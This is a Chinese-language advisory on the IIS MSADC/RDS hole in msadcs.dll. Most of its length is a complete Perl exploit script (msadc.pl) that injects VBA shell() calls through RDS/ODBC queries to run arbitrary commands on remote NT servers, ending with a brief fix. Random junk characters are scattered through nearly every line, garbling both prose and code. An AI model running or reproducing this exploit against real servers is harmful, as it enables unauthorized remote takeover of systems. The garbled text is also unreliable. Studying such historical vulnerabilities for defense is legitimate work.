IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
}B7K@Wu# Z['\61 涉及程序：
M\b")Tu{0 Microsoft NT server
PN+G:Qv hl&-\ dc+ 描述：
\RQ='/H* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}V u\(~ (SVWdgb 详细：
-oz`"&% 如果你没有时间读详细内容的话，就删除:
^BZkHAp c:\Program Files\Common Files\System\Msadc\msadcs.dll
9]$8M Y 有关的安全问题就没有了。
,D6v4<jh m\ /(w_/? 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
vhr+g 'tf }G$]LWgQx 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
U-wLt(Y< 关于利用ODBC远程漏洞的描述，请参看:
t)oa pIeIe t"j|nz{m http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm B@Nt`ky0* h?\2 _s 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
b=a!j=-D http://www.microsoft.com/security/bulletins/MS99-025faq.asp ea= 83 Zj 'cDx{? 这里不再论述。
cD1o"bq !e#xx]v3 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
ihT~ xt r g(lCL&:S /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Uh.Zi3X6}6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
!k$}Kj)I y%]8' q$ a=G M[{og #将下面这段保存为txt文件，然后: "perl -x 文件名"
(UNtRz'=; gJ2
H=#M #!perl
(kTXP_ #
h!&sNz X # MSADC/RDS 'usage' (aka exploit) script
PU9`<3z5 #
`P+(&taT # by rain.forest.puppy
0JRD #
9+Y D!y # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
5H ,G - # beta test and find errors!
#iSFf u%O-;>J use Socket; use Getopt::Std;
]Pn !nSg getopts("e:vd:h:XR", \%args);
x2 |6 P4
ul[zZ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
PBks`
|+ RK9>dk W if (!defined $args{h} && !defined $args{R}) {
| P6EO22p print qq~
I.}1JJF* Usage: msadc.pl -h <host> { -d <delay> -X -v }
;)DzC c/ -h <host> = host you want to scan (ip or domain)
z}}]jR \y? -d <seconds> = delay between calls, default 1 second
V9x8R -X = dump Index Server path table, if available
e1
*__' -v = verbose
zvv:dC/p< -e = external dictionary file for step 5
)He#K+[}^4 NnxM3* Or a -R will resume a command session
9Z\z96O- V'Y{v ~; exit;}
*.y' (tj[ aI#4H+/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Ap Py]IdwX if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
QL"gWr`R if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
D_|B2gdZY if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
d&:H&o)T! $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
>Pe:I if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;kaHN;4? {7Cx#Ewd if (!defined $args{R}){ $ret = &has_msadc;
a j|5 # die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
[UPNd!sy X=qS"O 1 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
P `s(kIe . "cmd /c ";
Ri :p8 $in=<STDIN>; chomp $in;
DOD6Liau{Q $command="cmd /c " . $in ;
}IUP5O6 < z#BsnjW{ if (defined $args{R}) {&load; exit;}
j.-VJo) Rag iV6c print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Z$K+
7>^ &try_btcustmr;
j~ym< -[{a MM#c Lw print "\nStep 2: Trying to make our own DSN...";
` DCU>bt&R &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0V11#
AvRcS]@= print "\nStep 3: Trying known DSNs...";
Pw}_[[>$ &known_dsn;
z<C[ nR$N ]H 2R print "\nStep 4: Trying known .mdbs...";
=xEk7'W6k &known_mdb;
5S/>l_od$2 > M^&F6 if (defined $args{e}){
vrcE]5(:s print "\nStep 5: Trying dictionary of DSN names...";
fDuwgY0 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|uha 38~ *Jnh";~b print "Sorry Charley...maybe next time?\n";
Md(JIlh3 exit;
q&M:17+:Q 2tr
:xi @ ##############################################################################
$ >v y(Y m^$5K's& sub sendraw { # ripped and modded from whisker
4e%8D`/=M sleep($delay); # it's a DoS on the server! At least on mine...
^E@@ YV my ($pstr)=@_;
oW'PO Ar socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{*=E?oF@ die("Socket problems\n");
X7cWg o66T if(connect(S,pack "SnA4x8",2,80,$target)){
*8!w&ME+. select(S); $|=1;
[%.18FWI print $pstr; my @in=<S>;
G j6 . Iv select(STDOUT); close(S);
4 UC wT1 return @in;
nTZ> |R) } else { die("Can't connect...\n"); }}
DA <ynBQ n85r^W ##############################################################################
RebTg1vGu Z*bC#s? sub make_header { # make the HTTP request
me. /o(!? my $msadc=<<EOT
yKDZ+3xK] POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
sMi{"`37 User-Agent: ACTIVEDATA
*caLN,G Host: $ip
M'u=H Content-Length: $clen
CX+9R3pa Connection: Keep-Alive
7 z< Cu< QFzFL-H~N ADCClientVersion:01.06
Yn 1?#%% Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%_tk7x Pf8u/?/ --!ADM!ROX!YOUR!WORLD!
agY5Dg7 Content-Type: application/x-varg
1p CkWe Content-Length: $reqlen
7zI5PGWw $9 i9s4u^ EOT
PRp E$`WK ; $msadc=~s/\n/\r\n/g;
G ]lvHD return $msadc;}
: ej_D} 2Guvze_bU ##############################################################################
< |JU( B A70(W{6a9@ sub make_req { # make the RDS request
S8*> kM' my ($switch, $p1, $p2)=@_;
[2H[5<tH my $req=""; my $t1, $t2, $query, $dsn;
,Oi^ySn .YiaXP if ($switch==1){ # this is the btcustmr.mdb query
5+F L Sk $query="Select * from Customers where City=" . make_shell();
56 ZrCr $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
jM\ %$_/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
DyX0 xx ^ 0#`)Prop6 elsif ($switch==2){ # this is general make table query
YKq0f=Ij $query="create table AZZ (B int, C varchar(10))";
FQ## 3 97 $dsn="$p1";}
7:kCb[ji" EW;1`x elsif ($switch==3){ # this is general exploit table query
; .0LRWcJ $query="select * from AZZ where C=" . make_shell();
`e*61k5 $dsn="$p1";}
[0op)Kn a 2E t,WA% elsif ($switch==4){ # attempt to hork file info from index server
JjDS"hK# $query="select path from scope()";
Gt'/D>FE0 $dsn="Provider=MSIDXS;";}
poY8
)2 q L>v&Rd< elsif ($switch==5){ # bad query
' fl(N2t $query="select";
- $ali[ $dsn="$p1";}
! OfO:L7- ~y@& } $t1= make_unicode($query);
Bt6xV<jD $t2= make_unicode($dsn);
hg#c[sZL $req = "\x02\x00\x03\x00";
0x4l5x$8 $req.= "\x08\x00" . pack ("S1", length($t1));
\d5}5J]a&n $req.= "\x00\x00" . $t1 ;
~,G]glu8 $req.= "\x08\x00" . pack ("S1", length($t2));
?1$\pq^ $req.= "\x00\x00" . $t2 ;
HSql)iT $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
&z QW Iv return $req;}
|YXG(;-BS e#m1X6$.e ##############################################################################
(-'PD_| /xf.\Z7< sub make_shell { # this makes the shell() statement
U
TS{H return "'|shell(\"$command\")|'";}
wKLN:aRF2
T "B8;| ##############################################################################
.Map K_FBy sub make_unicode { # quick little function to convert to unicode
a^x
0 l my ($in)=@_; my $out;
j a:\W\xhJ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ME,duY/>Q return $out;}
8 ur_/h7 r.Lx%LZ\^ ##############################################################################
sH F%=Vu '1lx{U zD sub rdo_success { # checks for RDO return success (this is kludge)
G-s a
L* my (@in) = @_; my $base=content_start(@in);
cY^Y!., if($in[$base]=~/multipart\/mixed/){
JQr36U return 1 if( $in[$base+10]=~/^\x09\x00/ );}
]ci RiMkT( return 0;}
Qv74?B@ | 4%v"U ##############################################################################
>LCjtm\ :g/{(#E@Z sub make_dsn { # this makes a DSN for us
{YfYIt=. my @drives=("c","d","e","f");
D STx#* print "\nMaking DSN: ";
!Am
=v=> foreach $drive (@drives) {
nT)~w
s print "$drive: ";
BHIM'24bp my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
8@Q"YA 3d+ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
7V |"~% . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
o` 2 5 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
np= J :v4 return 0 if $2 eq "404"; # not found/doesn't exist
%"{ ?[!C ? if($2 eq "200") {
VJGwd`qo*A foreach $line (@results) {
mxZ4
HD{ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
&9k"9 } return 0;}
i /C '0 })q]g Mj ##############################################################################
B piEAwh S [ i$ e sub verify_exists {
\:C%>
.VG my ($page)=@_;
rC~_:uXtE my @results=sendraw("GET $page HTTP/1.0\n\n");
,Qga|n8C return $results[0];}
^75pV%<% .!9Vt# ##############################################################################
"hz >{oe m2wp m_vV# sub try_btcustmr {
5N Fq7&rJ6 my @drives=("c","d","e","f");
e-1;dX HL my @dirs=("winnt","winnt35","winnt351","win","windows");
g+VRT, r +~@7"
|d foreach $dir (@dirs) {
tYF$#Nor#k print "$dir -> "; # fun status so you can see progress
K T%i,T foreach $drive (@drives) {
x!Y( Y=i> print "$drive: "; # ditto
IwOfZuS $reqlen=length( make_req(1,$drive,$dir) ) - 28;
tP -5 $reqlenlen=length( "$reqlen" );
% 1OC#& $clen= 206 + $reqlenlen + $reqlen;
hwc:@' 1mAUEQ! my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Al)lWD}j2g if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
oXvdR(Sb^ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ik8|9m4/ 9$n+-GSK ##############################################################################
o$*bm6o Q=dw 6 sub odbc_error {
Au~+Zz|mQ my (@in)=@_; my $base;
A3m{jbh my $base = content_start(@in);
wA{*W>i if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
LNWqgIq $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?L`MFR $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I=Gr^\x= $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&II JKn |_ return $in[$base+4].$in[$base+5].$in[$base+6];}
D:+)uX}MOf print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
>B @i
E print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
R994R@gz $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
f6@^ Mg 9<+;hH8J_r ##############################################################################
)zo#1$C- h2im
sjf sub verbose {
Vf@S8H my ($in)=@_;
3Pw %[q=g return if !$verbose;
9;}L{yve print STDOUT "\n$in\n";}
~ 5x4?2 {Q}!NkF 1 ##############################################################################
"FD<^
Krt$=:m|1 sub save {
f>.` xC{ my ($p1, $p2, $p3, $p4)=@_;
^\xCqVk_R open(OUT, ">rds.save") || print "Problem saving parameters...\n";
FF5tPHB print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
N[- %0 close OUT;}
nL "g2 3 kxt\{iy 4 ##############################################################################
9/@FADh ~Rx~g sub load {
z36brv<_'p my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
PmuEL@'^ U open(IN,"<rds.save") || die("Couldn't open rds.save\n");
N`
@W% @p=<IN>; close(IN);
7- g]A2N $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
$%N;d>[ U, $target= inet_aton($ip) || die("inet_aton problems");
3sd{A kD^ print "Resuming to $ip ...";
9Ba%= $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
JNU"5sB if($p[1]==1) {
[,.[gWA $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
a>-}\GXTA $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
My'9S2Y8nv my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^K1~e b*K if (rdo_success(@results)){print "Success!\n";}
`</= AY> else { print "failed\n"; verbose(odbc_error(@results));}}
C}dKbs^g | elsif ($p[1]==3){
<(u3+`f1s if(run_query("$p[3]")){
G_4K+
-K print "Success!\n";} else { print "failed\n"; }}
#"3[f@ |e elsif ($p[1]==4){
a>;3
j if(run_query($drvst . "$p[3]")){
+xo yKP! print "Success!\n"; } else { print "failed\n"; }}
1Xk{(G< \ exit;}
c+)36/; X ej)BR'* ##############################################################################
FF~on06! A)O_es 2 sub create_table {
M6o
xtt4 my ($in)=@_;
^+.+I cH $reqlen=length( make_req(2,$in,"") ) - 28;
C}M0XW $reqlenlen=length( "$reqlen" );
hlSB7D"d $clen= 206 + $reqlenlen + $reqlen;
j 3sz*: my @results=sendraw(make_header() . make_req(2,$in,""));
>x|A7iWn{, return 1 if rdo_success(@results);
(6b?ir ~ my $temp= odbc_error(@results); verbose($temp);
!3b|*].B return 1 if $temp=~/Table 'AZZ' already exists/;
nm{'HH-4 return 0;}
\FY/eQ*07 +R{A'Yl[( ##############################################################################
0XBBA0t q E.zYi7YUKK sub known_dsn {
Pl>nd)i` # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
d=x I my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
;L\!g%a "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
qY*%p "banner", "banners", "ads", "ADCDemo", "ADCTest");
T_5*iwI ~#IWM+I foreach $dSn (@dsns) {
>uP{9kD m print ".";
|g: '')>[ next if (!is_access("DSN=$dSn"));
!.tL"U~4 if(create_table("DSN=$dSn")){
&"~,V6,q print "$dSn successful\n";
[FeJ8P>z if(run_query("DSN=$dSn")){
mlsvP%[f. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
gavQb3EP print "Something's borked. Use verbose next time\n";}}} print "\n";}
p3,(*eZ di)noQXkB- ##############################################################################
L:k@BCQM EDP I*@> sub is_access {
x0AqhT5} my ($in)=@_;
ur~Tql $reqlen=length( make_req(5,$in,"") ) - 28;
FEm1^X#] $reqlenlen=length( "$reqlen" );
^>vO5Ho. $clen= 206 + $reqlenlen + $reqlen;
f lm,r<*} my @results=sendraw(make_header() . make_req(5,$in,""));
9:}RlL+cOk my $temp= odbc_error(@results);
F|
,Vw{ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
i"r.>X'Z return 0;}
O;& yA< Rpa A)R, ##############################################################################
$@ T6g )+Y\NO?O sub run_query {
6a 2w-}Fs my ($in)=@_;
SoM
]2^ $reqlen=length( make_req(3,$in,"") ) - 28;
SzgY2+Qq $reqlenlen=length( "$reqlen" );
rH } Dt@ $clen= 206 + $reqlenlen + $reqlen;
3LmBV\[" my @results=sendraw(make_header() . make_req(3,$in,""));
@4 return 1 if rdo_success(@results);
E``!-W my $temp= odbc_error(@results); verbose($temp);
8+g|>{Vov return 0;}
};VGH/}&s ^~YmLI4 ##############################################################################
')yF0 tswG"1R sub known_mdb {
iC5JU&l my @drives=("c","d","e","f","g");
{_k!!p6 my @dirs=("winnt","winnt35","winnt351","win","windows");
~ YT>:Np my $dir, $drive, $mdb;
n )wpxR my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#IL~0 t kHo;9j-U # this is sparse, because I don't know of many
o}AqNw60v my @sysmdbs=( "\\catroot\\icatalog.mdb",
2!~>)N "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
]>S$R&a "\\system32\\certmdb.mdb",
_+ R_ms "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
zM9) .D
H 644hQW&W my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
CB{k;H "\\cfusion\\cfapps\\forums\\forums_.mdb",
:'^dy%&UB "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
+2k|g2 "\\cfusion\\cfapps\\security\\realm_.mdb",
rTH[?mkf4 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
? XTg%U
"\\cfusion\\database\\cfexamples.mdb",
|]2eGrGj4 "\\cfusion\\database\\cfsnippets.mdb",
/S=;DxZ,r "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
2}xFv2X "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|Z^c #R "\\cfusion\\brighttiger\\database\\cleam.mdb",
s_Ge22BZ "\\cfusion\\database\\smpolicy.mdb",
1+PNy d "\\cfusion\\database\cypress.mdb",
gp |7{}Q{ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
'k(~XA}X: "\\website\\cgi-win\\dbsample.mdb",
Q+%m+ /Zq "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
aBA#\eV "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
>FMT#x t ); #these are just
J?,!1V = foreach $drive (@drives) {
5)SZd) foreach $dir (@dirs){
'\E *W!R.] foreach $mdb (@sysmdbs) {
NId~| &\ print ".";
mGyIr kE if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
oE|{|27X print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
` $x#_-Hn if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
o._#= 7|( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
7+Jma! o } else { print "Something's borked. Use verbose next time\n"; }}}}}
2M( PH]D B oiIr[ ( foreach $drive (@drives) {
kvO`]>#;$? foreach $mdb (@mdbs) {
%N_S/V0` print ".";
(=&bo p if(create_table($drv . $drive . $dir . $mdb)){
J/ P@m_Yx print "\n" . $drive . $dir . $mdb . " successful\n";
+ EB,7<5< if(run_query($drv . $drive . $dir . $mdb)){
1-Wnc'(OK print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
DGuUI}|) } else { print "Something's borked. Use verbose next time\n"; }}}}
?PxYS%D_L }
O' sr[ (Ss77~W7 ##############################################################################
f!R^;'a f6_|dvY3 sub hork_idx {
cwD*>[j print "\nAttempting to dump Index Server tables...\n";
I>4Tbwy.- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
F+m4 $reqlen=length( make_req(4,"","") ) - 28;
Xy8ie:D $reqlenlen=length( "$reqlen" );
@v-)|8 GdY $clen= 206 + $reqlenlen + $reqlen;
X=c
,`&^ my @results=sendraw2(make_header() . make_req(4,"",""));
z&yb_A:> if (rdo_success(@results)){
T[$hYe8%^ my $max=@results; my $c; my %d;
$^+KR]\q for($c=19; $c<$max; $c++){
z?) RF[ $results[$c]=~s/\x00//g;
v. ^
'x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$X\`
7`v $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
63dtO{:4 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
2Z9gOd<M~ $d{"$1$2"}="";}
G|Yp <W%o foreach $c (keys %d){ print "$c\n"; }
n~>CE "q } else {print "Index server doesn't seem to be installed.\n"; }}
~aq?Kk 2] wf`9ZH ##############################################################################
Q{|'g5(O g}og@UY7# sub dsn_dict {
UeiJhH,u open(IN, "<$args{e}") || die("Can't open external dictionary\n");
wbF1>{/" while(<IN>){
DBh/V#* D $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&T/9y W[L next if (!is_access("DSN=$dSn"));
-0 J<R;cVs if(create_table("DSN=$dSn")){
j]F3[gpc print "$dSn successful\n";
LGg x.Z if(run_query("DSN=$dSn")){
Q_|S^hx Q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
uM!r|X)8 print "Something's borked. Use verbose next time\n";}}}
Va[dZeoy print "\n"; close(IN);}
<P hr`/ {^O/MMB\\% ##############################################################################
SVEA l G^nT sub sendraw2 { # ripped and modded from whisker
w0%ex#lkm sleep($delay); # it's a DoS on the server! At least on mine...
]~x/8%e76 my ($pstr)=@_;
hE`%1j2( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%|6Q7'@p die("Socket problems\n");
7 z0 uj if(connect(S,pack "SnA4x8",2,80,$target)){
WMRgf~TY=2 print "Connected. Getting data";
~Wd8>a{w open(OUT,">raw.out"); my @in;
!rmo* -=^= select(S); $|=1; print $pstr;
T[9jTO?W2 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
cw-JGqLx close(OUT); select(STDOUT); close(S); return @in;
R#^pNJ N } else { die("Can't connect...\n"); }}
73Zs/ yT9RNo/w ##############################################################################
GN"LU>9| GQAg
ex)D sub content_start { # this will take in the server headers
^|12~d_.T my (@in)=@_; my $c;
Y%cA2V\#m for ($c=1;$c<500;$c++) {
qf&{O:,Z if($in[$c] =~/^\x0d\x0a/){
8[P6c;\ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
l8Iy 03H else { return $c+1; }}}
7 ( iRz return -1;} # it should never get here actually
hQLx"R$ f6A['<%o ##############################################################################
F"? *@L ?BZ`mrH^ sub funky {
X1 QZEl my (@in)=@_; my $error=odbc_error(@in);
$W]gu G if($error=~/ADO could not find the specified provider/){
48*pKbbM4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
QL!+.y% exit;}
;xC~{O if($error=~/A Handler is required/){
6D]G*g wk[ print "\nServer has custom handler filters (they most likely are patched)\n";
/faP]J) exit;}
: v ~ q if($error=~/specified Handler has denied Access/){
~l(tl[ print "\nServer has custom handler filters (they most likely are patched)\n";
B9Tztg
exit;}}
BJ2W }R oa|*-nw ##############################################################################
weadY,-H8 _@?Jx/`;bk sub has_msadc {
03\8e?$ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
90k|u'ikOp my $base=content_start(@results);
rSCX$ @@F return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
`%:(IGxz return 0;}
Yzx0 [_'u >V=@[B(0 ########################
^u&Khc~
y WC; a jmVy4* P_ 解决方案：
\(t>(4s_~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
;AA7wK 4 2、移除web 目录: /msadc
